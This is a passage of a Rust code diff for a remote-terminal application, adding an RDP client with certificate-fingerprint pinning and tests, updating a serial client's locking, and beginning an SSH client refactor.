pub host: String,
|
||||||
|
pub username: String,
|
||||||
|
pub domain: String,
|
||||||
|
pub password: String,
|
||||||
|
pub width: u16,
|
||||||
|
pub height: u16,
|
||||||
|
/// Also allow plain TLS (graphical logon) for servers without NLA, such as xrdp.
|
||||||
|
pub allow_tls_only: bool,
|
||||||
|
pub dial: Dial,
|
||||||
|
pub check_cert: CertCheck,
|
||||||
|
pub connect_timeout: Duration,
|
||||||
|
pub on_frame: FrameFn,
|
||||||
|
pub on_error: ErrorFn,
|
||||||
|
pub on_close: CloseFn,
|
||||||
|
}
|
||||||
|
|
||||||
|
enum Input {
|
||||||
|
Ops(Vec<Operation>),
|
||||||
|
Resize(u16, u16),
|
||||||
|
Close,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct Client {
|
||||||
|
cfg: Config,
|
||||||
|
fb: Arc<Mutex<Framebuffer>>,
|
||||||
|
tx: Mutex<Option<Sender<Input>>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
type Tls = rustls::StreamOwned<rustls::ClientConnection, TcpStream>;
|
||||||
|
|
||||||
|
/// How often the session thread looks for queued input while waiting for server data.
|
||||||
|
const POLL: Duration = Duration::from_millis(15);
|
||||||
|
|
||||||
|
impl Client {
|
||||||
|
pub fn new(cfg: Config) -> Arc<Client> {
|
||||||
|
Arc::new(Client { cfg, fb: Arc::default(), tx: Mutex::new(None) })
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn framebuffer(&self) -> Arc<Mutex<Framebuffer>> {
|
||||||
|
self.fb.clone()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Connects and logs on, then runs the session on a new thread.
|
||||||
|
pub fn connect(self: &Arc<Self>) -> Result<()> {
|
||||||
|
let (framed, result) = self.handshake()?;
|
||||||
|
let (tx, rx) = mpsc::channel();
|
||||||
|
*self.tx.lock() = Some(tx);
|
||||||
|
let me = self.clone();
|
||||||
|
std::thread::Builder::new().name("nexus-rdp".into()).spawn(move || {
|
||||||
|
let r = me.run(framed, result, rx);
|
||||||
|
let closing = me.tx.lock().take().is_none();
|
||||||
|
if let Err(e) = r
|
||||||
|
&& !closing
|
||||||
|
{
|
||||||
|
(me.cfg.on_error)(e.to_string());
|
||||||
|
}
|
||||||
|
(me.cfg.on_close)();
|
||||||
|
})?;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Mouse and keyboard input, applied in order. `Database` turns repeats into no-ops.
|
||||||
|
pub fn input(&self, ops: Vec<Operation>) {
|
||||||
|
self.send(Input::Ops(ops));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Asks the server to resize the desktop (Display Control channel); ignored when it can't.
|
||||||
|
pub fn resize(&self, width: u16, height: u16) {
|
||||||
|
self.send(Input::Resize(width, height));
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn close(&self) {
|
||||||
|
if let Some(tx) = self.tx.lock().take() {
|
||||||
|
let _ = tx.send(Input::Close);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn send(&self, i: Input) {
|
||||||
|
if let Some(tx) = &*self.tx.lock() {
|
||||||
|
let _ = tx.send(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn connector_config(&self) -> connector::Config {
|
||||||
|
let c = &self.cfg;
|
||||||
|
connector::Config {
|
||||||
|
credentials: Credentials::UsernamePassword { username: c.username.clone(), password: c.password.clone() },
|
||||||
|
domain: (!c.domain.is_empty()).then(|| c.domain.clone()),
|
||||||
|
enable_tls: c.allow_tls_only,
|
||||||
|
enable_credssp: true,
|
||||||
|
keyboard_type: KeyboardType::IbmEnhanced,
|
||||||
|
keyboard_subtype: 0,
|
||||||
|
keyboard_layout: 0,
|
||||||
|
keyboard_functional_keys_count: 12,
|
||||||
|
ime_file_name: String::new(),
|
||||||
|
dig_product_id: String::new(),
|
||||||
|
desktop_size: connector::DesktopSize { width: c.width.clamp(200, 8192), height: c.height.clamp(200, 8192) },
|
||||||
|
bitmap: None,
|
||||||
|
client_build: 0,
|
||||||
|
client_name: "Nexus Terminal".into(),
|
||||||
|
client_dir: "C:\\Windows\\System32\\mstscax.dll".into(),
|
||||||
|
platform: if cfg!(windows) {
|
||||||
|
MajorPlatformType::WINDOWS
|
||||||
|
} else if cfg!(target_os = "macos") {
|
||||||
|
MajorPlatformType::MACINTOSH
|
||||||
|
} else {
|
||||||
|
MajorPlatformType::UNIX
|
||||||
|
},
|
||||||
|
enable_server_pointer: false,
|
||||||
|
request_data: None,
|
||||||
|
// Also hands the credentials to TLS-only servers (xrdp), which would otherwise show their own login screen.
|
||||||
|
autologon: !c.password.is_empty(),
|
||||||
|
enable_audio_playback: false,
|
||||||
|
// ponytail: no bulk compression (the bitmap codecs already compress); enabling it means
|
||||||
|
// carrying the decompressor across reactivations.
|
||||||
|
compression_type: None,
|
||||||
|
pointer_software_rendering: true,
|
||||||
|
multitransport_flags: None,
|
||||||
|
performance_flags: PerformanceFlags::default(),
|
||||||
|
desktop_scale_factor: 0,
|
||||||
|
hardware_id: None,
|
||||||
|
license_cache: None,
|
||||||
|
timezone_info: TimezoneInfo::default(),
|
||||||
|
alternate_shell: String::new(),
|
||||||
|
work_dir: String::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn handshake(&self) -> Result<(Framed<Tls>, ConnectionResult)> {
|
||||||
|
let tcp = (self.cfg.dial)()?;
|
||||||
|
tcp.set_read_timeout(Some(self.cfg.connect_timeout.max(Duration::from_secs(5))))?;
|
||||||
|
tcp.set_nodelay(true)?;
|
||||||
|
let local = tcp.local_addr()?;
|
||||||
|
let mut framed = Framed::new(tcp);
|
||||||
|
let drdynvc = DrdynvcClient::new().with_dynamic_channel(DisplayControlClient::new(|_| Ok(Vec::new())));
|
||||||
|
let mut connector = ClientConnector::new(self.connector_config(), local).with_static_channel(drdynvc);
|
||||||
|
let should_upgrade = ironrdp_blocking::connect_begin(&mut framed, &mut connector).map_err(|e| format!("RDP connection failed: {e}"))?;
|
||||||
|
|
||||||
|
let tcp = framed.into_inner_no_leftover();
|
||||||
|
let (tls, cert) = tls_upgrade(tcp, &self.cfg.host)?;
|
||||||
|
// Pin before CredSSP: no credentials leave the machine for an untrusted certificate.
|
||||||
|
(self.cfg.check_cert)(&fingerprint(&cert))?;
|
||||||
|
let upgraded = ironrdp_blocking::mark_as_upgraded(should_upgrade, &mut connector);
|
||||||
|
let mut framed = Framed::new(tls);
|
||||||
|
let result = ironrdp_blocking::connect_finalize(
|
||||||
|
upgraded,
|
||||||
|
connector,
|
||||||
|
&mut framed,
|
||||||
|
&mut NoNetwork,
|
||||||
|
ServerName::new(self.cfg.host.clone()),
|
||||||
|
server_public_key(&cert)?,
|
||||||
|
None,
|
||||||
|
)
|
||||||
|
.map_err(|e| format!("RDP logon failed: {}", describe(&e)))?;
|
||||||
|
Ok((framed, result))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn run(&self, mut framed: Framed<Tls>, result: ConnectionResult, rx: Receiver<Input>) -> Result<()> {
|
||||||
|
framed.get_inner_mut().0.sock.set_read_timeout(Some(POLL))?;
|
||||||
|
let size = result.desktop_size;
|
||||||
|
let mut image = DecodedImage::new(PixelFormat::RgbA32, size.width, size.height);
|
||||||
|
*self.fb.lock() = Framebuffer::new_checked(size.width, size.height)?;
|
||||||
|
let factory = result.activation_factory;
|
||||||
|
let mut stage = ActiveStageBuilder {
|
||||||
|
static_channels: result.static_channels,
|
||||||
|
user_channel_id: result.user_channel_id,
|
||||||
|
io_channel_id: result.io_channel_id,
|
||||||
|
message_channel_id: result.message_channel_id,
|
||||||
|
share_id: result.share_id,
|
||||||
|
compression_type: result.compression_type,
|
||||||
|
enable_server_pointer: result.enable_server_pointer,
|
||||||
|
pointer_software_rendering: result.pointer_software_rendering,
|
||||||
|
}
|
||||||
|
.build();
|
||||||
|
let mut input = Database::new();
|
||||||
|
// A resize waits here until the Display Control channel is open (it opens after logon).
|
||||||
|
let mut want_size: Option<(u16, u16)> = None;
|
||||||
|
loop {
|
||||||
|
let mut outputs = Vec::new();
|
||||||
|
loop {
|
||||||
|
match rx.try_recv() {
|
||||||
|
Ok(Input::Ops(ops)) => {
|
||||||
|
let events = input.apply(ops);
|
||||||
|
if !events.is_empty() {
|
||||||
|
outputs.extend(stage.process_fastpath_input(&mut image, &events)?);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(Input::Resize(w, h)) => want_size = Some((w, h)).filter(|&s| s != (image.width(), image.height())),
|
||||||
|
Ok(Input::Close) | Err(mpsc::TryRecvError::Disconnected) => {
|
||||||
|
for o in stage.graceful_shutdown()? {
|
||||||
|
if let ActiveStageOutput::ResponseFrame(f) = o {
|
||||||
|
let _ = framed.write_all(&f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
Err(mpsc::TryRecvError::Empty) => break,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Some((w, h)) = want_size {
|
||||||
|
let (w, h) = ironrdp::displaycontrol::pdu::MonitorLayoutEntry::adjust_display_size(w.into(), h.into());
|
||||||
|
if let Some(frame) = stage.encode_resize(w, h, None, None) {
|
||||||
|
outputs.push(ActiveStageOutput::ResponseFrame(frame?));
|
||||||
|
want_size = None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
match framed.read_pdu() {
|
||||||
|
Ok((action, payload)) => outputs.extend(stage.process(&mut image, action, &payload)?),
|
||||||
|
Err(e) if matches!(e.kind(), std::io::ErrorKind::WouldBlock | std::io::ErrorKind::TimedOut) => {}
|
||||||
|
Err(e) => return Err(format!("RDP connection lost: {e}").into()),
|
||||||
|
}
|
||||||
|
for out in outputs {
|
||||||
|
match out {
|
||||||
|
ActiveStageOutput::ResponseFrame(frame) => framed.write_all(&frame)?,
|
||||||
|
ActiveStageOutput::GraphicsUpdate(r) => {
|
||||||
|
copy_rect(&image, &mut self.fb.lock(), r.left, r.top, r.right, r.bottom);
|
||||||
|
(self.cfg.on_frame)();
|
||||||
|
}
|
||||||
|
ActiveStageOutput::DeactivateAll => {
|
||||||
|
// Deactivation-Reactivation (e.g. after a resize): new desktop size and channel state.
|
||||||
|
framed.get_inner_mut().0.sock.set_read_timeout(Some(self.cfg.connect_timeout.max(Duration::from_secs(5))))?;
|
||||||
|
let mut seq = factory.create();
|
||||||
|
let mut buf = ironrdp::core::WriteBuf::new();
|
||||||
|
loop {
|
||||||
|
sequence_step(&mut framed, &mut seq, &mut buf).map_err(|e| format!("RDP reactivation failed: {e}"))?;
|
||||||
|
if let ConnectionActivationState::Finalized { desktop_size, share_id, enable_server_pointer, pointer_software_rendering } =
|
||||||
|
seq.connection_activation_state()
|
||||||
|
{
|
||||||
|
image = DecodedImage::new(PixelFormat::RgbA32, desktop_size.width, desktop_size.height);
|
||||||
|
*self.fb.lock() = Framebuffer::new_checked(desktop_size.width, desktop_size.height)?;
|
||||||
|
stage.set_fastpath_processor(
|
||||||
|
fast_path::ProcessorBuilder {
|
||||||
|
io_channel_id: seq.io_channel_id(),
|
||||||
|
user_channel_id: seq.user_channel_id(),
|
||||||
|
share_id,
|
||||||
|
enable_server_pointer,
|
||||||
|
pointer_software_rendering,
|
||||||
|
bulk_decompressor: None,
|
||||||
|
}
|
||||||
|
.build(),
|
||||||
|
);
|
||||||
|
stage.set_share_id(share_id);
|
||||||
|
stage.set_enable_server_pointer(enable_server_pointer);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
framed.get_inner_mut().0.sock.set_read_timeout(Some(POLL))?;
|
||||||
|
(self.cfg.on_frame)();
|
||||||
|
}
|
||||||
|
ActiveStageOutput::Terminate(reason) => return Err(format!("RDP session ended: {reason}").into()),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// One step of a connection sequence: read the PDU it waits for (if any), answer if it says to.
|
||||||
|
fn sequence_step(framed: &mut Framed<Tls>, seq: &mut dyn Sequence, buf: &mut ironrdp::core::WriteBuf) -> Result<()> {
|
||||||
|
buf.clear();
|
||||||
|
let written = match seq.next_pdu_hint() {
|
||||||
|
Some(hint) => {
|
||||||
|
let pdu = framed.read_by_hint(hint)?;
|
||||||
|
seq.step(&pdu, buf)?
|
||||||
|
}
|
||||||
|
None => seq.step_no_input(buf)?,
|
||||||
|
};
|
||||||
|
if written.size().is_some() {
|
||||||
|
framed.write_all(buf.filled())?;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Copies an updated rectangle (inclusive bounds) from the decoder's image into the shared
|
||||||
|
/// framebuffer, forcing opaque alpha (RDP leaves it undefined).
|
||||||
|
fn copy_rect(image: &DecodedImage, fb: &mut Framebuffer, left: u16, top: u16, right: u16, bottom: u16) {
|
||||||
|
if (fb.width, fb.height) != (image.width(), image.height()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let (w, stride) = (fb.width as usize, image.stride());
|
||||||
|
let (x0, x1) = (left as usize, (right as usize).min(w.saturating_sub(1)));
|
||||||
|
let (y0, y1) = (top as usize, (bottom as usize).min(fb.height as usize - 1));
|
||||||
|
if x0 > x1 || y0 > y1 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let data = image.data();
|
||||||
|
for y in y0..=y1 {
|
||||||
|
let (s, d) = (y * stride + x0 * 4, (y * w + x0) * 4);
|
||||||
|
let n = (x1 - x0 + 1) * 4;
|
||||||
|
fb.rgba[d..d + n].copy_from_slice(&data[s..s + n]);
|
||||||
|
fb.rgba[d..d + n].as_chunks_mut::<4>().0.iter_mut().for_each(|p| p[3] = 255);
|
||||||
|
}
|
||||||
|
fb.dirty = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `SHA256:<unpadded base64>` of the certificate, the format SSH host keys use.
|
||||||
|
pub fn fingerprint(cert_der: &[u8]) -> String {
|
||||||
|
use base64::Engine;
|
||||||
|
format!("SHA256:{}", base64::engine::general_purpose::STANDARD_NO_PAD.encode(Sha256::digest(cert_der)))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn server_public_key(cert_der: &[u8]) -> Result<Vec<u8>> {
|
||||||
|
use x509_cert::der::Decode;
|
||||||
|
let cert = x509_cert::Certificate::from_der(cert_der).map_err(|e| format!("RDP server certificate is unreadable: {e}"))?;
|
||||||
|
Ok(cert.tbs_certificate.subject_public_key_info.subject_public_key.as_bytes().ok_or("RDP server public key is malformed")?.to_vec())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// TLS without CA validation (RDP servers use self-signed certificates): the handshake still
|
||||||
|
/// proves possession of the certificate's key, and the caller pins its fingerprint.
|
||||||
|
fn tls_upgrade(mut tcp: TcpStream, host: &str) -> Result<(Tls, Vec<u8>)> {
|
||||||
|
let provider = Arc::new(rustls::crypto::ring::default_provider());
|
||||||
|
let config = rustls::ClientConfig::builder_with_provider(provider.clone())
|
||||||
|
.with_safe_default_protocol_versions()?
|
||||||
|
.dangerous()
|
||||||
|
.with_custom_certificate_verifier(Arc::new(Pinned(provider)))
|
||||||
|
.with_no_client_auth();
|
||||||
|
let name = rustls::pki_types::ServerName::try_from(host.to_string()).map_err(|e| format!("invalid RDP host name {host:?}: {e}"))?;
|
||||||
|
let mut conn = rustls::ClientConnection::new(Arc::new(config), name)?;
|
||||||
|
while conn.is_handshaking() {
|
||||||
|
conn.complete_io(&mut tcp).map_err(|e| format!("RDP TLS handshake failed: {e}"))?;
|
||||||
|
}
|
||||||
|
let cert = conn.peer_certificates().and_then(|c| c.first()).ok_or("RDP server sent no certificate")?.to_vec();
|
||||||
|
Ok((rustls::StreamOwned::new(conn, tcp), cert))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
struct Pinned(Arc<rustls::crypto::CryptoProvider>);
|
||||||
|
|
||||||
|
impl rustls::client::danger::ServerCertVerifier for Pinned {
|
||||||
|
fn verify_server_cert(
|
||||||
|
&self,
|
||||||
|
_: &rustls::pki_types::CertificateDer<'_>,
|
||||||
|
_: &[rustls::pki_types::CertificateDer<'_>],
|
||||||
|
_: &rustls::pki_types::ServerName<'_>,
|
||||||
|
_: &[u8],
|
||||||
|
_: rustls::pki_types::UnixTime,
|
||||||
|
) -> std::result::Result<rustls::client::danger::ServerCertVerified, rustls::Error> {
|
||||||
|
Ok(rustls::client::danger::ServerCertVerified::assertion())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn verify_tls12_signature(
|
||||||
|
&self,
|
||||||
|
message: &[u8],
|
||||||
|
cert: &rustls::pki_types::CertificateDer<'_>,
|
||||||
|
dss: &rustls::DigitallySignedStruct,
|
||||||
|
) -> std::result::Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
|
||||||
|
rustls::crypto::verify_tls12_signature(message, cert, dss, &self.0.signature_verification_algorithms)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn verify_tls13_signature(
|
||||||
|
&self,
|
||||||
|
message: &[u8],
|
||||||
|
cert: &rustls::pki_types::CertificateDer<'_>,
|
||||||
|
dss: &rustls::DigitallySignedStruct,
|
||||||
|
) -> std::result::Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
|
||||||
|
rustls::crypto::verify_tls13_signature(message, cert, dss, &self.0.signature_verification_algorithms)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn supported_verify_schemes(&self) -> Vec<rustls::SignatureScheme> {
|
||||||
|
self.0.signature_verification_algorithms.supported_schemes()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// CredSSP asks for this only for Kerberos (talking to a KDC); NTLM never uses it.
|
||||||
|
struct NoNetwork;
|
||||||
|
|
||||||
|
impl connector::sspi::network_client::NetworkClient for NoNetwork {
|
||||||
|
fn send(&self, _: &connector::sspi::NetworkRequest) -> connector::sspi::Result<Vec<u8>> {
|
||||||
|
Err(connector::sspi::Error::new(connector::sspi::ErrorKind::NoAuthenticatingAuthority, "Kerberos is not supported; use NTLM"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Connector errors carry their cause in a chain; surface the useful part.
|
||||||
|
fn describe(e: &connector::ConnectorError) -> String {
|
||||||
|
let mut s = e.to_string();
|
||||||
|
let mut src = std::error::Error::source(e);
|
||||||
|
while let Some(c) = src {
|
||||||
|
s = format!("{s}: {c}");
|
||||||
|
src = c.source();
|
||||||
|
}
|
||||||
|
s
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn fingerprints_like_ssh() {
|
||||||
|
assert_eq!(fingerprint(b"abc"), "SHA256:ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn copies_inclusive_rectangles_with_opaque_alpha() {
|
||||||
|
let mut image = DecodedImage::new(PixelFormat::RgbA32, 4, 3);
|
||||||
|
let mut fb = Framebuffer::new_checked(4, 3).unwrap();
|
||||||
|
fb.rgba.fill(0);
|
||||||
|
copy_rect(&image, &mut fb, 1, 1, 2, 1);
|
||||||
|
let alpha: Vec<u8> = fb.rgba.chunks(4).map(|p| p[3]).collect();
|
||||||
|
assert_eq!(alpha, [0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0]);
|
||||||
|
// Out-of-range bounds are clipped, a size mismatch is ignored.
|
||||||
|
copy_rect(&image, &mut fb, 3, 2, 99, 99);
|
||||||
|
assert_eq!(fb.rgba[(2 * 4 + 3) * 4 + 3], 255);
|
||||||
|
image = DecodedImage::new(PixelFormat::RgbA32, 8, 8);
|
||||||
|
copy_rect(&image, &mut fb, 0, 0, 7, 7);
|
||||||
|
assert_eq!(fb.rgba[3], 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `NEXUS_RDP_TEST="host port user password" cargo test -p nexus-core rdp::tests::live -- --ignored --nocapture`
|
||||||
|
#[test]
|
||||||
|
#[ignore]
|
||||||
|
fn live() {
|
||||||
|
let spec = std::env::var("NEXUS_RDP_TEST").expect("NEXUS_RDP_TEST");
|
||||||
|
let v: Vec<&str> = spec.split_whitespace().collect();
|
||||||
|
let (host, port) = (v[0].to_string(), v[1].parse::<u16>().unwrap());
|
||||||
|
let frames = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||||
|
let (f2, h2) = (frames.clone(), host.clone());
|
||||||
|
let seen_cert = Arc::new(Mutex::new(String::new()));
|
||||||
|
let sc = seen_cert.clone();
|
||||||
|
let c = Client::new(Config {
|
||||||
|
host: host.clone(),
|
||||||
|
username: v[2].into(),
|
||||||
|
domain: String::new(),
|
||||||
|
password: v[3].into(),
|
||||||
|
width: 1024,
|
||||||
|
height: 768,
|
||||||
|
allow_tls_only: true,
|
||||||
|
dial: Arc::new(move || Ok(TcpStream::connect((h2.as_str(), port))?)),
|
||||||
|
check_cert: Arc::new(move |fp| {
|
||||||
|
*sc.lock() = fp.to_string();
|
||||||
|
Ok(())
|
||||||
|
}),
|
||||||
|
connect_timeout: Duration::from_secs(15),
|
||||||
|
on_frame: Arc::new(move || {
|
||||||
|
f2.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
|
||||||
|
}),
|
||||||
|
on_error: Arc::new(|e| eprintln!("on_error: {e}")),
|
||||||
|
on_close: Arc::new(|| eprintln!("on_close")),
|
||||||
|
});
|
||||||
|
c.connect().unwrap();
|
||||||
|
eprintln!("cert {}", seen_cert.lock());
|
||||||
|
let t = std::time::Instant::now();
|
||||||
|
while frames.load(std::sync::atomic::Ordering::SeqCst) < 5 && t.elapsed() < Duration::from_secs(20) {
|
||||||
|
std::thread::sleep(Duration::from_millis(100));
|
||||||
|
}
|
||||||
|
c.input(vec![Operation::MouseMove(MousePosition { x: 100, y: 100 })]);
|
||||||
|
c.input(vec![Operation::KeyPressed(Scancode::from_u8(false, 0x1e)), Operation::KeyReleased(Scancode::from_u8(false, 0x1e))]);
|
||||||
|
std::thread::sleep(Duration::from_secs(2));
|
||||||
|
let fb = c.framebuffer().lock().clone();
|
||||||
|
eprintln!("frames {} size {}x{}", frames.load(std::sync::atomic::Ordering::SeqCst), fb.width, fb.height);
|
||||||
|
if let Ok(out) = std::env::var("NEXUS_RDP_PNG") {
|
||||||
|
image::DynamicImage::ImageRgba8(image::RgbaImage::from_raw(fb.width.into(), fb.height.into(), fb.rgba.clone()).unwrap())
|
||||||
|
.to_rgb8()
|
||||||
|
.save(out)
|
||||||
|
.unwrap();
|
||||||
|
}
|
||||||
|
assert!(frames.load(std::sync::atomic::Ordering::SeqCst) > 0);
|
||||||
|
c.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,8 +2,9 @@
|
|||||||
//! `Profile::host`, line settings come from `Profile::serial`. Same conventions as the other
|
//! `Profile::host`, line settings come from `Profile::serial`. Same conventions as the other
|
||||||
//! clients: blocking `connect`, an own reader thread, `on_close` exactly once (unplug included).
|
//! clients: blocking `connect`, an own reader thread, `on_close` exactly once (unplug included).
|
||||||
|
|
||||||
|
use parking_lot::Mutex;
|
||||||
|
use std::sync::Arc;
|
||||||
use std::sync::atomic::{AtomicBool, Ordering};
|
use std::sync::atomic::{AtomicBool, Ordering};
|
||||||
use std::sync::{Arc, Mutex};
|
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use serialport::{DataBits, FlowControl, Parity, SerialPort, StopBits};
|
use serialport::{DataBits, FlowControl, Parity, SerialPort, StopBits};
|
||||||
@@ -45,7 +46,7 @@ impl SerialClient {
|
|||||||
/// Opens and configures the port, applies DTR/RTS, and starts the reader thread.
|
/// Opens and configures the port, applies DTR/RTS, and starts the reader thread.
|
||||||
pub fn connect(&self) -> crate::Result<()> {
|
pub fn connect(&self) -> crate::Result<()> {
|
||||||
let inner = &self.inner;
|
let inner = &self.inner;
|
||||||
if inner.port.lock().unwrap().is_some() {
|
if inner.port.lock().is_some() {
|
||||||
return Err("already connected".into());
|
return Err("already connected".into());
|
||||||
}
|
}
|
||||||
if inner.path.is_empty() {
|
if inner.path.is_empty() {
|
||||||
@@ -82,7 +83,7 @@ impl SerialClient {
|
|||||||
reader.set_timeout(READ_POLL)?;
|
reader.set_timeout(READ_POLL)?;
|
||||||
let stop = Arc::new(AtomicBool::new(false));
|
let stop = Arc::new(AtomicBool::new(false));
|
||||||
{
|
{
|
||||||
let mut guard = inner.port.lock().unwrap();
|
let mut guard = inner.port.lock();
|
||||||
if guard.is_some() {
|
if guard.is_some() {
|
||||||
return Err("already connected".into());
|
return Err("already connected".into());
|
||||||
}
|
}
|
||||||
@@ -128,11 +129,11 @@ impl SerialClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn is_connected(&self) -> bool {
|
pub fn is_connected(&self) -> bool {
|
||||||
self.inner.port.lock().unwrap().is_some()
|
self.inner.port.lock().is_some()
|
||||||
}
|
}
|
||||||
|
|
||||||
fn with_port(&self, f: impl FnOnce(&mut Box<dyn SerialPort>) -> crate::Result<()>) -> crate::Result<()> {
|
fn with_port(&self, f: impl FnOnce(&mut Box<dyn SerialPort>) -> crate::Result<()>) -> crate::Result<()> {
|
||||||
let mut guard = self.inner.port.lock().unwrap();
|
let mut guard = self.inner.port.lock();
|
||||||
let (port, _) = guard.as_mut().ok_or("not connected")?;
|
let (port, _) = guard.as_mut().ok_or("not connected")?;
|
||||||
f(port)
|
f(port)
|
||||||
}
|
}
|
||||||
@@ -165,7 +166,7 @@ impl Inner {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn close(&self) {
|
fn close(&self) {
|
||||||
let taken = self.port.lock().unwrap().take();
|
let taken = self.port.lock().take();
|
||||||
if let Some((port, stop)) = taken {
|
if let Some((port, stop)) = taken {
|
||||||
stop.store(true, Ordering::SeqCst);
|
stop.store(true, Ordering::SeqCst);
|
||||||
drop(port);
|
drop(port);
|
||||||
|
|||||||
+183
-109
@@ -6,16 +6,20 @@ use super::{Callbacks, rt};
|
|||||||
use crate::Result;
|
use crate::Result;
|
||||||
use crate::models::{ForwardDirection, JumpHost, PortForward, Profile, SshConfig};
|
use crate::models::{ForwardDirection, JumpHost, PortForward, Profile, SshConfig};
|
||||||
use base64::Engine;
|
use base64::Engine;
|
||||||
|
use parking_lot::Mutex;
|
||||||
use russh::client::{self, Handle, Msg};
|
use russh::client::{self, Handle, Msg};
|
||||||
use russh::keys::{HashAlg, PrivateKeyWithHashAlg, PublicKey};
|
use russh::keys::{HashAlg, PrivateKeyWithHashAlg, PublicKey};
|
||||||
use russh::{Channel, ChannelMsg, Pty};
|
use russh::{Channel, ChannelMsg, Pty};
|
||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::Arc;
|
||||||
use std::time::{Duration, Instant};
|
use std::time::{Duration, Instant};
|
||||||
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
|
use tokio::io::{AsyncRead, AsyncWrite};
|
||||||
use tokio::sync::mpsc;
|
use tokio::sync::mpsc;
|
||||||
|
use zeroize::Zeroizing;
|
||||||
|
|
||||||
const MAX_PRIVATE_KEY_BYTES: u64 = 1 << 20;
|
const MAX_PRIVATE_KEY_BYTES: u64 = 1 << 20;
|
||||||
|
/// Bounds what `run_command` buffers, so a hostile server can't stream unlimited output into memory.
|
||||||
|
const MAX_COMMAND_OUTPUT_BYTES: usize = 1 << 20;
|
||||||
|
|
||||||
/// What a host-key decision needs. The manager's checker consults the known-hosts table and,
|
/// What a host-key decision needs. The manager's checker consults the known-hosts table and,
|
||||||
/// per policy, prompts the user; it returns Err with the reason to reject.
|
/// per policy, prompts the user; it returns Err with the reason to reject.
|
||||||
@@ -73,7 +77,7 @@ impl client::Handler for Handler {
|
|||||||
match res {
|
match res {
|
||||||
Ok(()) => Ok(true),
|
Ok(()) => Ok(true),
|
||||||
Err(why) => {
|
Err(why) => {
|
||||||
*self.shared.rejection.lock().unwrap() = Some(why);
|
*self.shared.rejection.lock() = Some(why);
|
||||||
Ok(false)
|
Ok(false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -89,7 +93,7 @@ impl client::Handler for Handler {
|
|||||||
reply: client::ChannelOpenHandle,
|
reply: client::ChannelOpenHandle,
|
||||||
_session: &mut client::Session,
|
_session: &mut client::Session,
|
||||||
) -> std::result::Result<(), Self::Error> {
|
) -> std::result::Result<(), Self::Error> {
|
||||||
let dest = self.shared.remote_targets.lock().unwrap().get(&(connected_address.to_string(), connected_port)).cloned();
|
let dest = self.shared.remote_targets.lock().get(&(connected_address.to_string(), connected_port)).cloned();
|
||||||
let Some((host, port)) = dest else {
|
let Some((host, port)) = dest else {
|
||||||
reply.reject(russh::ChannelOpenFailure::AdministrativelyProhibited).await;
|
reply.reject(russh::ChannelOpenFailure::AdministrativelyProhibited).await;
|
||||||
return Ok(());
|
return Ok(());
|
||||||
@@ -221,82 +225,18 @@ async fn blocking<T: Send + 'static>(f: impl FnOnce() -> T + Send + 'static) ->
|
|||||||
tokio::task::spawn_blocking(f).await.expect("blocking task panicked")
|
tokio::task::spawn_blocking(f).await.expect("blocking task panicked")
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn dial(sc: &SshConfig, host: &str, port: u16, timeout: Duration) -> Result<tokio::net::TcpStream> {
|
async fn dial(sc: &SshConfig, proxy_password: &str, host: &str, port: u16, timeout: Duration) -> Result<tokio::net::TcpStream> {
|
||||||
let fut = async {
|
let proxy = super::proxy::Proxy {
|
||||||
match sc.proxy_type.to_lowercase().as_str() {
|
kind: sc.proxy_type.clone(),
|
||||||
